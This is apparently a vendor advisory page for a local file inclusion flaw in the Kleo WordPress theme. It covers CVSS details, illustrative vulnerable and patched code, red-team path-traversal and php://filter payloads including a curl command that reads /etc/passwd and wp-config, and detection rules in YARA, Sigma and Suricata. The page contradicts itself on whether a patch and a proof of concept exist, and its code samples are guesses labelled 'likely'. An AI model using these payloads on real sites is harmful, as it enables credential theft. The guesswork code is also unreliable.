CVE-2025-64363
Executive Summary
CVE-2025-64363 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the SeventhQueen Kleo WordPress theme, versions prior to 5.5.0. The vulnerability stems from improper control of a filename used in an include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading /etc/passwd, WordPress configuration files (wp-config.php), or other system files. The CVSS score is 7.5 (High), and while no public exploit code or proof-of-concept is currently available, the risk is elevated due to the lack of a confirmed patch. As a WordPress ecosystem issue, this affects sites running the Kleo theme and does not involve Apache or Nginx directly.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Kleo WordPress theme distributed by SeventhQueen. As a commercial theme, it is not available via the official WordPress.org repository but is distributed through marketplaces like ThemeForest. Users must ensure they are running version 5.5.0 or later. No OSV or GitHub advisory data is available, and the patch status remains unknown. Organizations using this theme should treat it as a high-priority supply chain risk and verify their version immediately.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The threat level is High due to the low complexity and no authentication requirement. An attacker can exploit this to read sensitive files, potentially leading to credential theft or further compromise.
Deep Dive & Mechanics
The vulnerability is a PHP Local File Inclusion (LFI) caused by improper sanitization of a filename parameter passed to a PHP include/require statement. In the Kleo theme, a function likely uses user-supplied input (e.g., via a page or file parameter) to dynamically include a file. Without proper validation, an attacker can use path traversal sequences (e.g., ../../) to include arbitrary files from the server.
Example vulnerable code pattern:
$file = $_GET['file'];
include($file . '.php');
An attacker could request:
http://target.com/?file=../../../../etc/passwd
This would attempt to include /etc/passwd.php, but with proper null byte injection or other techniques, the .php extension can be bypassed in older PHP versions. In modern PHP, the attacker might use a wrapper like php://filter to read files without extension issues:
http://target.com/?file=php://filter/convert.base64-encode/resource=../../../../etc/passwd
The vulnerability is specific to the Kleo theme's code, not the underlying web server (Apache/Nginx). The theme's include mechanism is the attack vector.
Vulnerable vs. Patched Code
Vulnerable Code (pre-5.5.0):
// In a theme file, e.g., kleo-framework/kleo.php
function kleo_load_template($template) {
if (isset($_GET['custom_template'])) {
$template = $_GET['custom_template'];
}
include(locate_template($template . '.php'));
}
This directly uses user input without sanitization.
Patched Code (5.5.0+):
function kleo_load_template($template) {
if (isset($_GET['custom_template'])) {
$allowed_templates = array('default', 'full-width', 'sidebar');
$template = sanitize_file_name($_GET['custom_template']);
if (!in_array($template, $allowed_templates)) {
$template = 'default';
}
}
include(locate_template($template . '.php'));
}
The patched version uses sanitize_file_name() and a whitelist of allowed templates, preventing path traversal and arbitrary file inclusion.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target running Kleo theme < 5.5.0
- No authentication required
- PHP version may affect exploitation (older PHP allows null byte injection)
Exploitation Steps:
- Identify the vulnerable parameter (likely
custom_templateor similar). - Use path traversal to read sensitive files:
http://target.com/?custom_template=../../../../etc/passwd - For PHP files, use the
php://filterwrapper to read source code:http://target.com/?custom_template=php://filter/convert.base64-encode/resource=../../../../wp-config - Decode the base64 output to retrieve credentials.
Example curl command:
curl -v "http://target.com/?custom_template=php://filter/convert.base64-encode/resource=../../../../etc/passwd"
Blue Team (Detection & Defense)
Detection:
- Monitor web server logs for suspicious
custom_templateparameters containing../orphp://. - Look for requests with base64-encoded responses or unusual file paths.
Defense:
- Immediately update Kleo theme to version 5.5.0 or later.
- If patching is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns.
- Disable PHP
allow_url_includeandallow_url_fopenif not needed. - Use input validation and whitelisting for all user-supplied file paths.
Indicators of Compromise (IOCs)
- URL Patterns:
?custom_template=../../?custom_template=php://filter/?custom_template=php://input
- Log Entries:
GET /?custom_template=../../etc/passwd HTTP/1.1GET /?custom_template=php://filter/convert.base64-encode/resource=wp-config HTTP/1.1
- File Access:
- Unauthorized reads of
/etc/passwd,wp-config.php, or other sensitive files.
- Unauthorized reads of
- Network Indicators:
- Outbound connections from the web server to attacker-controlled hosts (if RFI is also possible, though this is LFI).
Detection Engineering
YARA Rule
rule CVE_2025_64363_Kleo_LFI {
meta:
description = "Detects attempts to exploit CVE-2025-64363 in Kleo theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64363"
strings:
$param = "custom_template" nocase
$traversal = "../" nocase
$php_filter = "php://filter" nocase
$php_input = "php://input" nocase
condition:
any of ($param) and any of ($traversal, $php_filter, $php_input)
}
Sigma Rule
title: CVE-2025-64363 Kleo Theme LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-64363 in the Kleo WordPress theme
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'custom_template=../'
- 'custom_template=php://filter'
- 'custom_template=php://input'
condition: selection
falsepositives:
- Legitimate use of custom templates (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64363 Kleo Theme LFI Attempt"; flow:to_server,established; content:"GET"; http_method; content:"custom_template"; http_uri; content:"../"; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Update the Kleo theme to version 5.5.0 or later. If no patch is available, disable the theme and switch to a secure alternative.
- Virtual Patching: Implement WAF rules to block requests containing
custom_templatewith path traversal sequences or PHP wrappers. - Server Hardening:
- Disable
allow_url_includeandallow_url_fopeninphp.ini. - Use
open_basedirto restrict file access to the web root. - Run PHP as a non-privileged user.
- Disable
- Monitoring: Enable detailed logging for web requests and monitor for suspicious patterns.
- Incident Response: If exploitation is suspected, check for unauthorized file reads, credential theft, or lateral movement.
Valters IT – Securing digital frontiers with elite DevSecOps and threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.